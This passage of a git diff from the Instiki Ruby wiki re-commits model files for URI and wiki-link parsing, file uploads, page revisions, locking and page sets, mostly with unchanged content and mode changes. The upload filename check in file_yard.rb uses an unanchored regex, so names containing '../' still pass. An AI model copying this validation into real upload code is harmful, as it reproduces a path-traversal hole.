+    pattern =~ test_text   # Previous assertion guarantees match
+    chunk = type.new($~)
+    
+    # Test if requested parts are correct.
+    for method_sym, value in expected do
+      assert_respond_to(chunk, method_sym)
+      assert_equal(value, chunk.method(method_sym).call, "Checking value of '#{method_sym}'")
+    end
+  end
+end
diff --git a/app/models/chunks/uri.rb b/app/models/chunks/uri.rb
old mode 100755
new mode 100644
index 8e644459..8dd95078
--- a/app/models/chunks/uri.rb
+++ b/app/models/chunks/uri.rb
@@ -1,179 +1,179 @@
-require 'chunks/chunk'
-
-# This wiki chunk matches arbitrary URIs, using patterns from the Ruby URI modules.
-# It parses out a variety of fields that could be used by renderers to format
-# the links in various ways (shortening domain names, hiding email addresses)
-# It matches email addresses and host.com.au domains without schemes (http://)
-# but adds these on as required.
-#
-# The heuristic used to match a URI is designed to err on the side of caution.
-# That is, it is more likely to not autolink a URI than it is to accidently
-# autolink something that is not a URI. The reason behind this is it is easier
-# to force a URI link by prefixing 'http://' to it than it is to escape and
-# incorrectly marked up non-URI.
-#
-# I'm using a part of the [ISO 3166-1 Standard][iso3166] for country name suffixes.
-# The generic names are from www.bnoack.com/data/countrycode2.html)
-#   [iso3166]: http://geotags.com/iso3166/
-class URIChunk < Chunk::Abstract
-  include URI::REGEXP::PATTERN
-
-  # this condition is to get rid of pesky warnings in tests
-  unless defined? URIChunk::INTERNET_URI_REGEXP
-
-    GENERIC = '(?:aero|biz|com|coop|edu|gov|info|int|mil|museum|name|net|org)'
-    COUNTRY = '(?:au|at|be|ca|ch|de|dk|fr|hk|in|ir|it|jp|nl|no|pt|ru|se|sw|tv|tw|uk|us)'
-  
-    # These are needed otherwise HOST will match almost anything
-    TLDS = "(?:#{GENERIC}|#{COUNTRY})"
-    
-    # Redefine USERINFO so that it must have non-zero length
-    USERINFO = "(?:[#{UNRESERVED};:&=+$,]|#{ESCAPED})+"
-  
-    # unreserved_no_ending = alphanum | mark, but URI_ENDING [)!] excluded
-    UNRESERVED_NO_ENDING = "-_.~*'(#{ALNUM}"  
-
-    # this ensures that query or fragment do not end with URI_ENDING
-    # and enable us to use a much simpler self.pattern Regexp
-
-    # uric_no_ending = reserved | unreserved_no_ending | escaped
-    URIC_NO_ENDING = "(?:[#{UNRESERVED_NO_ENDING}#{RESERVED}]|#{ESCAPED})"
-    # query = *uric
-    QUERY = "#{URIC_NO_ENDING}*"
-    # fragment = *uric
-    FRAGMENT = "#{URIC_NO_ENDING}*"
-
-    # DOMLABEL is defined in the ruby uri library, TLDS is defined above
-    INTERNET_HOSTNAME = "(?:#{DOMLABEL}\\.)+#{TLDS}" 
-
-    # Correct a typo bug in ruby 1.8.x lib/uri/common.rb 
-    PORT = '\\d*'
-
-    INTERNET_URI =
-        "(?:(#{SCHEME}):/{0,2})?" + # Optional scheme:        (\1)
-        "(?:(#{USERINFO})@)?" +     # Optional userinfo@      (\2)
-        "(#{INTERNET_HOSTNAME})" +  # Mandatory hostname      (\3)
-        "(?::(#{PORT}))?" +         # Optional :port          (\4)
-        "(#{ABS_PATH})?"  +         # Optional absolute path  (\5)
-        "(?:\\?(#{QUERY}))?" +      # Optional ?query         (\6)
-        "(?:\\#(#{FRAGMENT}))?"     # Optional #fragment      (\7)
-
-    TEXTILE_SYNTAX_PREFIX = '(!)?'
-  
-    INTERNET_URI_REGEXP = Regexp.new(TEXTILE_SYNTAX_PREFIX + INTERNET_URI, Regexp::EXTENDED, 'N')
-
-  end
-
-  def URIChunk.pattern
-    INTERNET_URI_REGEXP
-  end
-
-  attr_reader :user, :host, :port, :path, :query, :fragment, :link_text
-  
-  def self.apply_to(content)
-    content.gsub!( self.pattern ) do |matched_text|
-      chunk = self.new($~)
-      if chunk.textile_url? or chunk.textile_image?
-        # do not substitute
-        matched_text
-      else
-        content.chunks << chunk
-        chunk.mask(content)
-      end
-    end
-  end
-
-  def initialize(match_data)
-    super(match_data)
-    @link_text = match_data[0]
-    @textile_prefix, @original_scheme, @user, @host, @port, @path, @query, @fragment = 
-        match_data[1..-1]
-    treat_trailing_character
-  end
-
-  def textile_url?
-    @textile_prefix == '":'
-  end
-
-  def textile_image?
-    @textile_prefix == '!' and @trailing_punctuation == '!'
-  end
-
-  def treat_trailing_character
-    # If the last character matched by URI pattern is in ! or ), this may be part of the markup,
-    # not a URL. We should handle it as such. It is possible to do it by a regexp, but 
-    # much easier to do programmatically
-    last_char = @link_text[-1..-1]
-    if last_char == ')' or last_char == '!'
-      @trailing_punctuation = last_char
-      @link_text.chop!
-      [@original_scheme, @user, @host, @port, @path, @query, @fragment].compact.last.chop!
-    end
-  end
-
-  # If the text should be escaped then don't keep this chunk.
-  # Otherwise only keep this chunk if it was substituted back into the
-  # content.
-  def unmask(content)
-    return nil if escaped_text
-    return self if content.sub!(mask(content), "#{link_text}")
-  end
-
-  # If there is no hostname in the URI, do not render it
-  # It's probably only contains the scheme, eg 'something:' 
-  def escaped_text() ( host.nil? ? @uri : nil )  end
-
-  def scheme
-    @original_scheme or (@user ? 'mailto' : 'http')
-  end
-
-  def scheme_delimiter
-    scheme == 'mailto' ? ':' : '://'
-  end
-
-  def user_delimiter
-     '@' unless @user.nil?
-  end
-
-  def port_delimiter
-     ':' unless @port.nil?
-  end
-
-  def query_delimiter
-     '?' unless @query.nil?
-  end
-
-  def uri
-    [scheme, scheme_delimiter, user, user_delimiter, host, port_delimiter, port, path, 
-      query_delimiter, query].compact.join
-  end
-
-end
-
-# uri with mandatory scheme but less restrictive hostname, like
-# http://localhost:2500/blah.html
-class LocalURIChunk < URIChunk
-
-  unless defined? LocalURIChunk::LOCAL_URI_REGEXP
-    # hostname can be just a simple word like 'localhost'
-    ANY_HOSTNAME = "(?:#{DOMLABEL}\\.)*#{TOPLABEL}\\.?"
-    
-    # The basic URI expression as a string
-    # Scheme and hostname are mandatory
-    LOCAL_URI =
-           "(?:(#{SCHEME})://)+" +  # Mandatory scheme://     (\1)
-           "(?:(#{USERINFO})@)?" +  # Optional userinfo@      (\2)
-           "(#{ANY_HOSTNAME})" +    # Mandatory hostname      (\3)
-           "(?::(#{PORT}))?" +      # Optional :port          (\4)
-           "(#{ABS_PATH})?"  +      # Optional absolute path  (\5)
-           "(?:\\?(#{QUERY}))?" +   # Optional ?query         (\6)
-           "(?:\\#(#{FRAGMENT}))?"  # Optional #fragment      (\7)
-  
-    LOCAL_URI_REGEXP = Regexp.new(TEXTILE_SYNTAX_PREFIX + LOCAL_URI, Regexp::EXTENDED, 'N')
-  end
-
-  def LocalURIChunk.pattern
-    LOCAL_URI_REGEXP
-  end
-
-end
+require 'chunks/chunk'
+
+# This wiki chunk matches arbitrary URIs, using patterns from the Ruby URI modules.
+# It parses out a variety of fields that could be used by renderers to format
+# the links in various ways (shortening domain names, hiding email addresses)
+# It matches email addresses and host.com.au domains without schemes (http://)
+# but adds these on as required.
+#
+# The heuristic used to match a URI is designed to err on the side of caution.
+# That is, it is more likely to not autolink a URI than it is to accidently
+# autolink something that is not a URI. The reason behind this is it is easier
+# to force a URI link by prefixing 'http://' to it than it is to escape and
+# incorrectly marked up non-URI.
+#
+# I'm using a part of the [ISO 3166-1 Standard][iso3166] for country name suffixes.
+# The generic names are from www.bnoack.com/data/countrycode2.html)
+#   [iso3166]: http://geotags.com/iso3166/
+class URIChunk < Chunk::Abstract
+  include URI::REGEXP::PATTERN
+
+  # this condition is to get rid of pesky warnings in tests
+  unless defined? URIChunk::INTERNET_URI_REGEXP
+
+    GENERIC = '(?:aero|biz|com|coop|edu|gov|info|int|mil|museum|name|net|org)'
+    COUNTRY = '(?:au|at|be|ca|ch|de|dk|fr|hk|in|ir|it|jp|nl|no|pt|ru|se|sw|tv|tw|uk|us)'
+  
+    # These are needed otherwise HOST will match almost anything
+    TLDS = "(?:#{GENERIC}|#{COUNTRY})"
+    
+    # Redefine USERINFO so that it must have non-zero length
+    USERINFO = "(?:[#{UNRESERVED};:&=+$,]|#{ESCAPED})+"
+  
+    # unreserved_no_ending = alphanum | mark, but URI_ENDING [)!] excluded
+    UNRESERVED_NO_ENDING = "-_.~*'(#{ALNUM}"  
+
+    # this ensures that query or fragment do not end with URI_ENDING
+    # and enable us to use a much simpler self.pattern Regexp
+
+    # uric_no_ending = reserved | unreserved_no_ending | escaped
+    URIC_NO_ENDING = "(?:[#{UNRESERVED_NO_ENDING}#{RESERVED}]|#{ESCAPED})"
+    # query = *uric
+    QUERY = "#{URIC_NO_ENDING}*"
+    # fragment = *uric
+    FRAGMENT = "#{URIC_NO_ENDING}*"
+
+    # DOMLABEL is defined in the ruby uri library, TLDS is defined above
+    INTERNET_HOSTNAME = "(?:#{DOMLABEL}\\.)+#{TLDS}" 
+
+    # Correct a typo bug in ruby 1.8.x lib/uri/common.rb 
+    PORT = '\\d*'
+
+    INTERNET_URI =
+        "(?:(#{SCHEME}):/{0,2})?" + # Optional scheme:        (\1)
+        "(?:(#{USERINFO})@)?" +     # Optional userinfo@      (\2)
+        "(#{INTERNET_HOSTNAME})" +  # Mandatory hostname      (\3)
+        "(?::(#{PORT}))?" +         # Optional :port          (\4)
+        "(#{ABS_PATH})?"  +         # Optional absolute path  (\5)
+        "(?:\\?(#{QUERY}))?" +      # Optional ?query         (\6)
+        "(?:\\#(#{FRAGMENT}))?"     # Optional #fragment      (\7)
+
+    TEXTILE_SYNTAX_PREFIX = '(!)?'
+  
+    INTERNET_URI_REGEXP = Regexp.new(TEXTILE_SYNTAX_PREFIX + INTERNET_URI, Regexp::EXTENDED, 'N')
+
+  end
+
+  def URIChunk.pattern
+    INTERNET_URI_REGEXP
+  end
+
+  attr_reader :user, :host, :port, :path, :query, :fragment, :link_text
+  
+  def self.apply_to(content)
+    content.gsub!( self.pattern ) do |matched_text|
+      chunk = self.new($~)
+      if chunk.textile_url? or chunk.textile_image?
+        # do not substitute
+        matched_text
+      else
+        content.chunks << chunk
+        chunk.mask(content)
+      end
+    end
+  end
+
+  def initialize(match_data)
+    super(match_data)
+    @link_text = match_data[0]
+    @textile_prefix, @original_scheme, @user, @host, @port, @path, @query, @fragment = 
+        match_data[1..-1]
+    treat_trailing_character
+  end
+
+  def textile_url?
+    @textile_prefix == '":'
+  end
+
+  def textile_image?
+    @textile_prefix == '!' and @trailing_punctuation == '!'
+  end
+
+  def treat_trailing_character
+    # If the last character matched by URI pattern is in ! or ), this may be part of the markup,
+    # not a URL. We should handle it as such. It is possible to do it by a regexp, but 
+    # much easier to do programmatically
+    last_char = @link_text[-1..-1]
+    if last_char == ')' or last_char == '!'
+      @trailing_punctuation = last_char
+      @link_text.chop!
+      [@original_scheme, @user, @host, @port, @path, @query, @fragment].compact.last.chop!
+    end
+  end
+
+  # If the text should be escaped then don't keep this chunk.
+  # Otherwise only keep this chunk if it was substituted back into the
+  # content.
+  def unmask(content)
+    return nil if escaped_text
+    return self if content.sub!(mask(content), "#{link_text}")
+  end
+
+  # If there is no hostname in the URI, do not render it
+  # It's probably only contains the scheme, eg 'something:' 
+  def escaped_text() ( host.nil? ? @uri : nil )  end
+
+  def scheme
+    @original_scheme or (@user ? 'mailto' : 'http')
+  end
+
+  def scheme_delimiter
+    scheme == 'mailto' ? ':' : '://'
+  end
+
+  def user_delimiter
+     '@' unless @user.nil?
+  end
+
+  def port_delimiter
+     ':' unless @port.nil?
+  end
+
+  def query_delimiter
+     '?' unless @query.nil?
+  end
+
+  def uri
+    [scheme, scheme_delimiter, user, user_delimiter, host, port_delimiter, port, path, 
+      query_delimiter, query].compact.join
+  end
+
+end
+
+# uri with mandatory scheme but less restrictive hostname, like
+# http://localhost:2500/blah.html
+class LocalURIChunk < URIChunk
+
+  unless defined? LocalURIChunk::LOCAL_URI_REGEXP
+    # hostname can be just a simple word like 'localhost'
+    ANY_HOSTNAME = "(?:#{DOMLABEL}\\.)*#{TOPLABEL}\\.?"
+    
+    # The basic URI expression as a string
+    # Scheme and hostname are mandatory
+    LOCAL_URI =
+           "(?:(#{SCHEME})://)+" +  # Mandatory scheme://     (\1)
+           "(?:(#{USERINFO})@)?" +  # Optional userinfo@      (\2)
+           "(#{ANY_HOSTNAME})" +    # Mandatory hostname      (\3)
+           "(?::(#{PORT}))?" +      # Optional :port          (\4)
+           "(#{ABS_PATH})?"  +      # Optional absolute path  (\5)
+           "(?:\\?(#{QUERY}))?" +   # Optional ?query         (\6)
+           "(?:\\#(#{FRAGMENT}))?"  # Optional #fragment      (\7)
+  
+    LOCAL_URI_REGEXP = Regexp.new(TEXTILE_SYNTAX_PREFIX + LOCAL_URI, Regexp::EXTENDED, 'N')
+  end
+
+  def LocalURIChunk.pattern
+    LOCAL_URI_REGEXP
+  end
+
+end
diff --git a/app/models/chunks/wiki.rb b/app/models/chunks/wiki.rb
old mode 100755
new mode 100644
index c69f160f..6c25b8c9
--- a/app/models/chunks/wiki.rb
+++ b/app/models/chunks/wiki.rb
@@ -1,142 +1,142 @@
-require 'wiki_words'
-require 'chunks/chunk'
-require 'chunks/wiki'
-require 'cgi'
-
-# Contains all the methods for finding and replacing wiki related links.
-module WikiChunk
-  include Chunk
-
-  # A wiki link is the top-level class for anything that refers to
-  # another wiki page.
-  class WikiLink < Chunk::Abstract
-
-    attr_reader :page_name, :link_text, :link_type
-
-    def initialize(*args)
-      super
-      @link_type = 'show'
-    end
-
-    def self.apply_to(content)
-      content.gsub!( self.pattern ) do |matched_text|
-        chunk = self.new($~)
-        if chunk.textile_url?
-          # do not substitute
-          matched_text
-        else
-          content.chunks << chunk
-          chunk.mask(content)
-        end
-      end
-    end
-
-    def textile_url?
-      not @textile_link_suffix.nil?
-    end
-
-    # By default, no escaped text
-    def escaped_text() nil end
-
-    # Replace link with a mask, but if the word is escaped, then don't replace it
-    def mask(content) 
-      escaped_text || super(content)
-    end
-
-    def revert(content) content.sub!(mask(content), text) end
-    
-    # Do not keep this chunk if it is escaped.
-    # Otherwise, pass the link procedure a page_name and link_text and
-    # get back a string of HTML to replace the mask with.
-    def unmask(content)
-      if escaped_text 
-        return self
-      else 
-        chunk_found = content.sub!(mask(content)) do |match| 
-          content.page_link(page_name, link_text, link_type)
-        end
-        if chunk_found
-          return self
-        else
-          return nil
-        end
-      end
-    end
-
-  end
-
-  # This chunk matches a WikiWord. WikiWords can be escaped
-  # by prepending a '\'. When this is the case, the +escaped_text+
-  # method will return the WikiWord instead of the usual +nil+.
-  # The +page_name+ method returns the matched WikiWord.
-  class Word < WikiLink
-    unless defined? WIKI_LINK
-      WIKI_WORD = Regexp.new('(":)?(\\\\)?(' + WikiWords::WIKI_WORD_PATTERN + ')\b', 0, "utf-8")
-    end
-
-    def self.pattern
-      WIKI_WORD
-    end
-
-    def initialize(match_data)
-      super(match_data)
-      @textile_link_suffix, @escape, @page_name = match_data[1..3]
-    end
-
-    def escaped_text
-      page_name unless @escape.nil?
-    end
-    def link_text() WikiWords.separate(page_name) end	
-  end
-
-  # This chunk handles [[bracketted wiki words]] and 
-  # [[AliasedWords|aliased wiki words]]. The first part of an
-  # aliased wiki word must be a WikiWord. If the WikiWord
-  # is aliased, the +link_text+ field will contain the
-  # alias, otherwise +link_text+ will contain the entire
-  # contents within the double brackets.
-  #
-  # NOTE: This chunk must be tested before WikiWord since
-  #       a WikiWords can be a substring of a WikiLink. 
-  class Link < WikiLink
-    
-    unless defined? WIKI_LINK
-      WIKI_LINK = /(":)?\[\[([^\]]+)\]\]/
-      LINK_TYPE_SEPARATION = Regexp.new('^(.+):((file)|(pic))$', 0, 'utf-8')
-      ALIAS_SEPARATION = Regexp.new('^(.+)\|(.+)$', 0, 'utf-8')
-    end    
-        
-    def self.pattern() WIKI_LINK end
-
-    def initialize(match_data)
-      super(match_data)
-      @textile_link_suffix, @page_name = match_data[1..2]
-      @link_text = @page_name
-      separate_link_type
-      separate_alias
-    end
-
-    private
-
-    # if link wihin the brackets has a form of [[filename:file]] or [[filename:pic]], 
-    # this means a link to a picture or a file
-    def separate_link_type
-      link_type_match = LINK_TYPE_SEPARATION.match(@page_name)
-      if link_type_match
-        @link_text = @page_name = link_type_match[1]
-        @link_type = link_type_match[2..3].compact[0]
-      end
-    end
-
-    # link text may be different from page name. this will look like [[actual page|link text]]
-    def separate_alias
-      alias_match = ALIAS_SEPARATION.match(@page_name)
-      if alias_match
-        @page_name, @link_text = alias_match[1..2]
-      end
-      # note that [[filename|link text:file]] is also supported
-    end  
-  
-  end
-  
-end
+require 'wiki_words'
+require 'chunks/chunk'
+require 'chunks/wiki'
+require 'cgi'
+
+# Contains all the methods for finding and replacing wiki related links.
+module WikiChunk
+  include Chunk
+
+  # A wiki link is the top-level class for anything that refers to
+  # another wiki page.
+  class WikiLink < Chunk::Abstract
+
+    attr_reader :page_name, :link_text, :link_type
+
+    def initialize(*args)
+      super
+      @link_type = 'show'
+    end
+
+    def self.apply_to(content)
+      content.gsub!( self.pattern ) do |matched_text|
+        chunk = self.new($~)
+        if chunk.textile_url?
+          # do not substitute
+          matched_text
+        else
+          content.chunks << chunk
+          chunk.mask(content)
+        end
+      end
+    end
+
+    def textile_url?
+      not @textile_link_suffix.nil?
+    end
+
+    # By default, no escaped text
+    def escaped_text() nil end
+
+    # Replace link with a mask, but if the word is escaped, then don't replace it
+    def mask(content) 
+      escaped_text || super(content)
+    end
+
+    def revert(content) content.sub!(mask(content), text) end
+    
+    # Do not keep this chunk if it is escaped.
+    # Otherwise, pass the link procedure a page_name and link_text and
+    # get back a string of HTML to replace the mask with.
+    def unmask(content)
+      if escaped_text 
+        return self
+      else 
+        chunk_found = content.sub!(mask(content)) do |match| 
+          content.page_link(page_name, link_text, link_type)
+        end
+        if chunk_found
+          return self
+        else
+          return nil
+        end
+      end
+    end
+
+  end
+
+  # This chunk matches a WikiWord. WikiWords can be escaped
+  # by prepending a '\'. When this is the case, the +escaped_text+
+  # method will return the WikiWord instead of the usual +nil+.
+  # The +page_name+ method returns the matched WikiWord.
+  class Word < WikiLink
+    unless defined? WIKI_LINK
+      WIKI_WORD = Regexp.new('(":)?(\\\\)?(' + WikiWords::WIKI_WORD_PATTERN + ')\b', 0, "utf-8")
+    end
+
+    def self.pattern
+      WIKI_WORD
+    end
+
+    def initialize(match_data)
+      super(match_data)
+      @textile_link_suffix, @escape, @page_name = match_data[1..3]
+    end
+
+    def escaped_text
+      page_name unless @escape.nil?
+    end
+    def link_text() WikiWords.separate(page_name) end	
+  end
+
+  # This chunk handles [[bracketted wiki words]] and 
+  # [[AliasedWords|aliased wiki words]]. The first part of an
+  # aliased wiki word must be a WikiWord. If the WikiWord
+  # is aliased, the +link_text+ field will contain the
+  # alias, otherwise +link_text+ will contain the entire
+  # contents within the double brackets.
+  #
+  # NOTE: This chunk must be tested before WikiWord since
+  #       a WikiWords can be a substring of a WikiLink. 
+  class Link < WikiLink
+    
+    unless defined? WIKI_LINK
+      WIKI_LINK = /(":)?\[\[([^\]]+)\]\]/
+      LINK_TYPE_SEPARATION = Regexp.new('^(.+):((file)|(pic))$', 0, 'utf-8')
+      ALIAS_SEPARATION = Regexp.new('^(.+)\|(.+)$', 0, 'utf-8')
+    end    
+        
+    def self.pattern() WIKI_LINK end
+
+    def initialize(match_data)
+      super(match_data)
+      @textile_link_suffix, @page_name = match_data[1..2]
+      @link_text = @page_name
+      separate_link_type
+      separate_alias
+    end
+
+    private
+
+    # if link wihin the brackets has a form of [[filename:file]] or [[filename:pic]], 
+    # this means a link to a picture or a file
+    def separate_link_type
+      link_type_match = LINK_TYPE_SEPARATION.match(@page_name)
+      if link_type_match
+        @link_text = @page_name = link_type_match[1]
+        @link_type = link_type_match[2..3].compact[0]
+      end
+    end
+
+    # link text may be different from page name. this will look like [[actual page|link text]]
+    def separate_alias
+      alias_match = ALIAS_SEPARATION.match(@page_name)
+      if alias_match
+        @page_name, @link_text = alias_match[1..2]
+      end
+      # note that [[filename|link text:file]] is also supported
+    end  
+  
+  end
+  
+end
diff --git a/app/models/file_yard.rb b/app/models/file_yard.rb
index c55ac68b..9f6ca101 100644
--- a/app/models/file_yard.rb
+++ b/app/models/file_yard.rb
@@ -1,45 +1,45 @@
-require 'instiki_errors'
-
-class FileYard
-
-  attr_reader :files_path
-
-  def initialize(files_path)
-    @files_path = files_path
-    @files = Dir["#{files_path}/*"].collect{|path| File.basename(path) if File.file?(path) }.compact
-  end
-
-  def upload_file(name, io)
-    sanitize_file_name(name)
-    if io.kind_of?(Tempfile)
-      io.close
-      FileUtils.mv(io.path, file_path(name))
-    else
-      File.open(file_path(name), 'wb') { |f| f.write(io.read) }
-    end
-    # just in case, restrict read access and prohibit write access to the uploaded file
-    FileUtils.chmod(0440, file_path(name))
-  end
-
-  def files
-    Dir["#{files_path}/*"].collect{|path| File.basename(path) if File.file?(path)}.compact
-  end
-
-  def has_file?(name)
-    files.include?(name)
-  end
-
-  def file_path(name)
-    "#{files_path}/#{name}"
-  end
-
-  SANE_FILE_NAME = /[-_\.A-Za-z0-9]{1,255}/
-
-  def sanitize_file_name(name)
-    unless name =~ SANE_FILE_NAME
-      raise Instiki::ValidationError.new("Invalid file name: '#{name}'.\n" +
-            "Only latin characters, digits, dots, underscores and dashes are accepted.")
-    end
-  end
-
-end
+require 'instiki_errors'
+
+class FileYard
+
+  attr_reader :files_path
+
+  def initialize(files_path)
+    @files_path = files_path
+    @files = Dir["#{files_path}/*"].collect{|path| File.basename(path) if File.file?(path) }.compact
+  end
+
+  def upload_file(name, io)
+    sanitize_file_name(name)
+    if io.kind_of?(Tempfile)
+      io.close
+      FileUtils.mv(io.path, file_path(name))
+    else
+      File.open(file_path(name), 'wb') { |f| f.write(io.read) }
+    end
+    # just in case, restrict read access and prohibit write access to the uploaded file
+    FileUtils.chmod(0440, file_path(name))
+  end
+
+  def files
+    Dir["#{files_path}/*"].collect{|path| File.basename(path) if File.file?(path)}.compact
+  end
+
+  def has_file?(name)
+    files.include?(name)
+  end
+
+  def file_path(name)
+    "#{files_path}/#{name}"
+  end
+
+  SANE_FILE_NAME = /[-_\.A-Za-z0-9]{1,255}/
+
+  def sanitize_file_name(name)
+    unless name =~ SANE_FILE_NAME
+      raise Instiki::ValidationError.new("Invalid file name: '#{name}'.\n" +
+            "Only latin characters, digits, dots, underscores and dashes are accepted.")
+    end
+  end
+
+end
diff --git a/app/models/page.rb b/app/models/page.rb
old mode 100755
new mode 100644
index 4773add2..e827fd51
--- a/app/models/page.rb
+++ b/app/models/page.rb
@@ -1,92 +1,92 @@
-require 'date'
-require 'page_lock'
-require 'revision'
-require 'wiki_words'
-require 'chunks/wiki'
-
-class Page
-  include PageLock
-
-  attr_reader :name, :web
-  attr_accessor :revisions
-  
-  def initialize(web, name, content, created_at, author)
-    @web, @name, @revisions = web, name, []
-    revise(content, created_at, author)
-  end
-
-  def revise(content, created_at, author)
-
-    if not @revisions.empty? and content == @revisions.last.content
-      raise Instiki::ValidationError.new(
-          "You have tried to save page '#{name}' without changing its content")
-    end
-  
-    # A user may change a page, look at it and make some more changes - several times.
-    # Not to record every such iteration as a new revision, if the previous revision was done 
-    # by the same author, not more than 30 minutes ago, then update the last revision instead of
-    # creating a new one
-    if !@revisions.empty? && continous_revision?(created_at, author)
-      @revisions.last.created_at = created_at
-      @revisions.last.content = content
-      @revisions.last.clear_display_cache
-    else
-      @revisions << Revision.new(self, @revisions.length, content, created_at, author)
-    end
-    
-    web.refresh_pages_with_references(name) if @revisions.length == 1
-  end
-
-  def rollback(revision_number, created_at, author_ip = nil)
-    roll_back_revision = @revisions[revision_number].dup
-    revise(roll_back_revision.content, created_at, Author.new(roll_back_revision.author, author_ip))
-  end
-  
-  def revisions?
-    revisions.length > 1
-  end
-
-  def revised_on
-    created_on
-  end
-
-  def in_category?(cat)
-    cat.nil? || cat.empty? || categories.include?(cat)
-  end
-
-  def categories
-    display_content.find_chunks(Category).map { |cat| cat.list }.flatten
-  end
-
-  def authors
-    revisions.collect { |rev| rev.author }
-  end
-
-  def references
-    web.select.pages_that_reference(name)
-  end
-
-  # Returns the original wiki-word name as separate words, so "MyPage" becomes "My Page".
-  def plain_name
-    web.brackets_only ? name : WikiWords.separate(name)
-  end
-
-  def link(options = {})
-    web.make_link(name, nil, options)
-  end
-
-  def author_link(options = {})
-    web.make_link(author, nil, options)
-  end
-
-  private
-    def continous_revision?(created_at, author)
-      @revisions.last.author == author && @revisions.last.created_at + 30.minutes > created_at
-    end
-
-    # Forward method calls to the current revision, so the page responds to all revision calls
-    def method_missing(method_symbol)
-      revisions.last.send(method_symbol)
-    end
-
-end
+require 'date'
+require 'page_lock'
+require 'revision'
+require 'wiki_words'
+require 'chunks/wiki'
+
+class Page
+  include PageLock
+
+  attr_reader :name, :web
+  attr_accessor :revisions
+  
+  def initialize(web, name, content, created_at, author)
+    @web, @name, @revisions = web, name, []
+    revise(content, created_at, author)
+  end
+
+  def revise(content, created_at, author)
+
+    if not @revisions.empty? and content == @revisions.last.content
+      raise Instiki::ValidationError.new(
+          "You have tried to save page '#{name}' without changing its content")
+    end
+  
+    # A user may change a page, look at it and make some more changes - several times.
+    # Not to record every such iteration as a new revision, if the previous revision was done 
+    # by the same author, not more than 30 minutes ago, then update the last revision instead of
+    # creating a new one
+    if !@revisions.empty? && continous_revision?(created_at, author)
+      @revisions.last.created_at = created_at
+      @revisions.last.content = content
+      @revisions.last.clear_display_cache
+    else
+      @revisions << Revision.new(self, @revisions.length, content, created_at, author)
+    end
+    
+    web.refresh_pages_with_references(name) if @revisions.length == 1
+  end
+
+  def rollback(revision_number, created_at, author_ip = nil)
+    roll_back_revision = @revisions[revision_number].dup
+    revise(roll_back_revision.content, created_at, Author.new(roll_back_revision.author, author_ip))
+  end
+  
+  def revisions?
+    revisions.length > 1
+  end
+
+  def revised_on
+    created_on
+  end
+
+  def in_category?(cat)
+    cat.nil? || cat.empty? || categories.include?(cat)
+  end
+
+  def categories
+    display_content.find_chunks(Category).map { |cat| cat.list }.flatten
+  end
+
+  def authors
+    revisions.collect { |rev| rev.author }
+  end
+
+  def references
+    web.select.pages_that_reference(name)
+  end
+
+  # Returns the original wiki-word name as separate words, so "MyPage" becomes "My Page".
+  def plain_name
+    web.brackets_only ? name : WikiWords.separate(name)
+  end
+
+  def link(options = {})
+    web.make_link(name, nil, options)
+  end
+
+  def author_link(options = {})
+    web.make_link(author, nil, options)
+  end
+
+  private
+    def continous_revision?(created_at, author)
+      @revisions.last.author == author && @revisions.last.created_at + 30.minutes > created_at
+    end
+
+    # Forward method calls to the current revision, so the page responds to all revision calls
+    def method_missing(method_symbol)
+      revisions.last.send(method_symbol)
+    end
+
+end
diff --git a/app/models/page_lock.rb b/app/models/page_lock.rb
old mode 100755
new mode 100644
index 553c9868..244814af
--- a/app/models/page_lock.rb
+++ b/app/models/page_lock.rb
@@ -1,24 +1,24 @@
-# Contains all the lock methods to be mixed in with the page
-module PageLock
-  LOCKING_PERIOD = 30 * 60 # 30 minutes
-
-  def lock(time, locked_by)
-    @locked_at, @locked_by = time, locked_by
-  end
-  
-  def lock_duration(time)
-    ((time - @locked_at) / 60).to_i unless @locked_at.nil?
-  end
-  
-  def unlock
-    @locked_at = nil
-  end
-  
-  def locked?(comparison_time)
-    @locked_at + LOCKING_PERIOD > comparison_time unless @locked_at.nil?
-  end
-
-  def locked_by_link
-    web.make_link(@locked_by)
-  end
+# Contains all the lock methods to be mixed in with the page
+module PageLock
+  LOCKING_PERIOD = 30 * 60 # 30 minutes
+
+  def lock(time, locked_by)
+    @locked_at, @locked_by = time, locked_by
+  end
+  
+  def lock_duration(time)
+    ((time - @locked_at) / 60).to_i unless @locked_at.nil?
+  end
+  
+  def unlock
+    @locked_at = nil
+  end
+  
+  def locked?(comparison_time)
+    @locked_at + LOCKING_PERIOD > comparison_time unless @locked_at.nil?
+  end
+
+  def locked_by_link
+    web.make_link(@locked_by)
+  end
 end
\ No newline at end of file
diff --git a/app/models/page_set.rb b/app/models/page_set.rb
old mode 100755
new mode 100644
index 608ac9f1..86da14a3
--- a/app/models/page_set.rb
+++ b/app/models/page_set.rb
@@ -1,73 +1,73 @@
-# Container for a set of pages with methods for manipulation.
-
-class PageSet < Array
-  attr_reader :web
-
-  def initialize(web, pages = nil, condition = nil)
-    @web = web
-    # if pages is not specified, make a list of all pages in the web
-    if pages.nil?
-      super(web.pages.values)
-    # otherwise use specified pages and condition to produce a set of pages
-    elsif condition.nil?
-      super(pages)
-    else
-      super(pages.select { |page| condition[page] })
-    end
-  end
-
-  def most_recent_revision
-    self.map { |page| page.created_at }.max || Time.at(0)
-  end
-
-
-  def by_name
-    PageSet.new(@web, sort_by { |page| page.name })
-  end
-
-  alias :sort :by_name
-
-  def by_revision
-    PageSet.new(@web, sort_by { |page| page.created_at }).reverse 
-  end
-  
-  def pages_that_reference(page_name)
-    self.select { |page| page.wiki_words.include?(page_name) }
-  end
-
-  def pages_authored_by(author)
-    self.select { |page| page.authors.include?(author) }
-  end
-
-  def characters
-    self.inject(0) { |chars,page| chars += page.content.size }
-  end
-
-  # Returns all the orphaned pages in this page set. That is,
-  # pages in this set for which there is no reference in the web.
-  # The HomePage and author pages are always assumed to have
-  # references and so cannot be orphans
-  def orphaned_pages
-    references = web.select.wiki_words + ["HomePage"] + web.select.authors
-    self.reject { |page| references.include?(page.name) } 
-  end
-
-  # Returns all the wiki words in this page set for which
-  # there are no pages in this page set's web
-  def wanted_pages
-    wiki_words - web.select.names
-  end
-
-  def names
-    self.map { |page| page.name }
-  end
-
-  def wiki_words
-    self.inject([]) { |wiki_words, page| wiki_words << page.wiki_words }.flatten.uniq
-  end
-
-  def authors
-    self.inject([]) { |authors, page| authors << page.authors }.flatten.uniq.sort
-  end
-
+# Container for a set of pages with methods for manipulation.
+
+class PageSet < Array
+  attr_reader :web
+
+  def initialize(web, pages = nil, condition = nil)
+    @web = web
